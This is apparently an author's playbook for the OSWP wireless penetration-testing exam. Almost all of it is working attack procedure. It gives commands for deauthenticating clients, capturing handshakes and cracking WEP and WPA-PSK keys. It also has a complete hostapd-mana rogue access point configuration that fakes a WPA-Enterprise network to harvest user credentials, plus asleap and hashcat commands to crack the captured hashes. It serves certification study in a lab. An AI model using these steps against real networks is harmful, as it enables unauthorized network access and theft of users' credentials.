OSWP exam Playbook

```
This is made by Abdulrahman Ibrahim (0xExploitEagle)
```

Setting your interface card into monitor mode

`sudo airmon-ng check kill && sudo airmon-ng start wlan0`

Putting

Monitor networks available without saving content

`sudo airodump-ng --band abg --manufacturer --wps wlan0mon`

Get the hidden ESSID using BSSID

`sudo airodump-ng --band abg --bssid <mac> wlan0mon`

setting your interface on specific channel

```
sudo ifconfig <int> down
sudo iwconfig <int> channel x
sudo ifconfig <int> up
```

Connect to Open Network

```
network={
    ssid=""
    key_mgmt=NONE
}
sudo wpa_supplicant -i <int> -c <file>

Then open another terminal

sudo dhclient wlan0 -v
```

connect to WPA Network

```
network={
    ssid=""
    psk="$PASSWORD"
    scan_ssid=1
    key_mgmt=WPA-PSK
    proto=WPA2
}
sudo wpa_supplicant -i <int> -c net.conf
another terminal
sudo dhclient <int> -v
```

Connect to WPA Enterprise

```
network={
  ssid="<ESSID>"
  scan_ssid=1
  key_mgmt=WPA-EAP
  eap=PEAP
  identity="bob"
  password="hello"
  phase1="peaplabel=0"
  phase2="auth=MSCHAPV2"
}
sudo wpa_supplicant -i <int> -c <ent.conf>
sudo dhclient <int> -v ( in another terminal )
```

Connect to WEP Network

```
network={
  ssid=""
  key_mgmt= NONE
  wep_key0=$PASSWORD
  wep_tx_keyidx=0
}
Password in wep should be lowercase if hex and without colons
Note : Capital also works in hex password

sudo wpa_supplicant -i <int> -c wep.conf
sudo dhclient <int> -v
```

How to change MAC Address

```
systemctl stop network-manager
ip link set wlan0 down
macchanger -m b0:72:bf:44:b0:49 wlan0
ip link set wlan0 up

if not succeed in this case may
1. interface name is wrong
2. your interface in monitor mode
```

```
in second case to fix it
sudo airmon-ng stop <int>
```

Cracking WEP Networks

```

sudo airodump-ng -w wep --band abg --bssid <mac> -c <channel> wlan0mon
aireplay-ng
sudo aircrack-ng wep-01.cap
```

Cracking WPA-PSK Networks

```

sudo airmon-ng check kill && sudo airmon-ng start <int>

sudo airodump-ng --band abg wlan0

- gathering information of the target network which is channel , BSSID

sudo airodump-ng wlan0 --bssid <mac> -c <channel>

- kick a client from the network using aireplay-ng
aireplay-ng -c <client-mac> -a <AP-mac>  <int>
after getting EAPOL
we will crack the password using aircrack-ng
aircrack-ng -w <wordlist> capfile.cap
connect to the network using how to connect to wpa-psk section

- get the flag using

curl http://192.168.1.1/proof.txt
```

Cracking WPA-Enterprise

```
sudo airmon-ng check kill && sudo airmon-ng start wlan0

first we gather information about the network like BSSID , channel to filter
the networks
using
sudo airodump-ng --band abg <int>

then we gather handshake for the enterprise network
sudo airodump-ng --band abg -c x --bssid <mac> -w enterprise <int>

after that we look at clients of the network and try to deauthenticate a
```

```
client to get handshake for the network
sudo aireplay-ng -0 4 -a <ap-mac> -c <station-mac> <int>

then we wait till we get handshake
after we get it we go through cap file and extract the certificate from it
we also display information of certificte using this command

openssl x509 -inform der -in CERTIFICATE_FILENAME -text

and try to fake it with the one at /etc/freeradius/3.0/certs
then we change two files with information we have at the certificate
nano ca.cnf
nano server.cnf

after that we do the following commands to generate Diffie Hellman key for
hostapd-mana
rm dh
make
rm dh

after that we create a fake access point by creating a file called
network.conf
with this content but change the SSID , channel
mana_credout which is the path of the file that contains credentials we
collect
eap_user_file


# SSID of the AP
ssid=Playtronics

# Network interface to use and driver type
# We must ensure the interface lists 'AP' in 'Supported interface modes'
when running 'iw phy PHYX info'
interface=wlan0
driver=nl80211

# Channel and mode
# Make sure the channel is allowed with 'iw phy PHYX info' ('Frequencies'
field - there can be more than one)
channel=1
# Refer to https://w1.fi/cgit/hostap/plain/hostapd/hostapd.conf to set up
802.11n/ac/ax
```

```
hw_mode=g

# Setting up hostapd as an EAP server
ieee8021x=1
eap_server=1

# Key workaround for Win XP
eapol_key_index_workaround=0

# EAP user file we created earlier
eap_user_file=/etc/hostapd-mana/mana.eap_user

# Certificate paths created earlier
ca_cert=/etc/freeradius/3.0/certs/ca.pem
server_cert=/etc/freeradius/3.0/certs/server.pem
private_key=/etc/freeradius/3.0/certs/server.key
# The password is actually 'whatever'
private_key_passwd=whatever
dh_file=/etc/freeradius/3.0/certs/dh

# Open authentication
auth_algs=1
# WPA/WPA2
wpa=3
# WPA Enterprise
wpa_key_mgmt=WPA-EAP
# Allow CCMP and TKIP
# Note: iOS warns when network has TKIP (or WEP)
wpa_pairwise=CCMP TKIP

# Enable Mana WPE
mana_wpe=1

# Store credentials in that file
mana_credout=/tmp/hostapd.credout

# Send EAP success, so the client thinks it's connected
mana_eapsuccess=1

# EAP TLS MitM
mana_eaptls=1
```

```
-------------------------------------------------------
EAP user filename mana.eap_user
*
PEAP,TTLS,TLS,FAST
"t"   TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2
"pass"   [2]


then use this command to create fake AP
sudo hostapd-mana network.conf

then you try to kick other users from the network you are targeting and then
wait till getting handshake from one of users trying to login to network

then once you get handshake you will copy and paste command of asleep and
adding -W /path/to/wordlist
example

asleap -C ce:b6:98:85:c6:56:59:0c -R
72:79:f6:5a:a4:98:70:f4:58:22:c8:9d:cb:dd:73:c1:b8:9d:37:78:44:ca:ea:d4 -W
/usr/share/john/password.lst
if it doesn't work with you
you can get the hash of the Hashcat tool and put it in file called hashfile
and use this command to crack it
hashcat -a 0 -m 5500 hashfile rockyou.txt --force --show

after getting username and password here you go for connecting to the
network.
```